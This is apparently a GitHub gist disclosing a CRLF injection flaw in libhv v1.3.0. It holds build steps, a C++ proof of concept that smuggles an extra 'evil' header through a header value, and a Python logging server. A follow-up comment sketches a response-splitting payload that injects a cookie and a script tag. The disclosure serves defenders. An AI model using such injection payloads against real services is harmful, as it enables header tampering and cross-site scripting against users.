Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 10:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/65d136066fdd5ea4dddaadaa9b0ba90e to your computer and use it in GitHub Desktop.
Save dellalibera/65d136066fdd5ea4dddaadaa9b0ba90e to your computer and use it in GitHub Desktop.
CRLF Injection in libhv@v1.3.0

Information

Project: libhv

Tested Version: v1.3.0 (commit 579938146ff0cd99d379c038bea80d3241c5bc36)

Github Repository: https://github.com/ithewei/libhv

Details

libhv is vulnerable to CRLF Injection when untrusted user input is used to set request headers. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.

References about this vulnerability and its impact:

References to similar issues affecting other projects:

Setup

Install and build the project https://github.com/ithewei/libhv#%EF%B8%8F-build

git clone https://github.com/ithewei/libhv.git
cd libhv
mkdir build
cd build
cmake ..
cmake --build .

PoC

The PoC demonstrates how it's possible to add arbitrary headers.

  • create and start local server to log incoming requests:
python3 server.py
cmake --build .
./bin/http_client_test

Server logs:

Starting server...

GET request,
Path: /test1
Headers:
Accept: */*
Connection: keep-alive
Host: 127.0.0.1:8080
MyHeader: test
evil: hello1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36



127.0.0.1 - - [16/May/2023 12:20:28] "GET /test1 HTTP/1.1" 200 -

Impact

If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.

Author

Alessio Della Libera

#include "requests.h"
using namespace hv;
static void test_http_sync_client(HttpClient* cli) {
HttpRequest req;
req.method = HTTP_GET;
req.url = "http://127.0.0.1:8080/test1";
req.headers["MyHeader"] = "test\r\nevil: hello1";
HttpResponse resp;
int ret = cli->send(&req, &resp);
if (ret != 0) {
printf("request failed!\n");
} else {
printf("%d %s\r\n", resp.status_code, resp.status_message());
printf("%s\n", resp.body.c_str());
}
}
int main(int argc, char* argv[]) {
HttpClient sync_client;
test_http_sync_client(&sync_client);
printf("finished!\n");
return 0;
}
from http.server import BaseHTTPRequestHandler, HTTPServer
class S(BaseHTTPRequestHandler):
def do_GET(self):
print(f"GET request,\nPath: {str(self.path)}\nHeaders:\n{str(self.headers)}\n")
self.send_response(200)
self.wfile.write("hello1".encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, S)
print('Starting server...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print('Stopping server...\n')
@xs-411
Copy link

xs-411 commented Oct 14, 2023

我为什么没有理解这会有产生什么问题?多加一个请求头,会有什么影响 吗?

@qycyfjy
Copy link

qycyfjy commented Oct 14, 2023

我为什么没有理解这会有产生什么问题?多加一个请求头,会有什么影响 吗?

我的理解是: 一般不会产生什么问题, 终究还是web应用的问题, 没有对输入做验证, 举个例子:
有个url是example.com/?last_visited_blog_id=10, 然后服务端没有验证last_visited_blog_id的参数是不是个数字, 就直接在response里加了一个:

Set-Cookie: last_visited_blog_id=等号后的参数

的头, 这时攻击者造了一个请求example.com/?last_visited_blog_id=10\r\nset-cookie=123\r\ncontent-type:text/html\r\n\r\n<html><scritp>alert("123")</script></html>(为了直观这里我没有对\r\n这些转义), 假设浏览器用了libhv现在的处理方式, 那么此时浏览器收到的请求就变成了

Set-Cookie: last_visited_blog_id=10
set-cookie: 123
content-type:text/html

<html><script>alert("123")</script></html>

既然能注入, 那就大有可为了.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment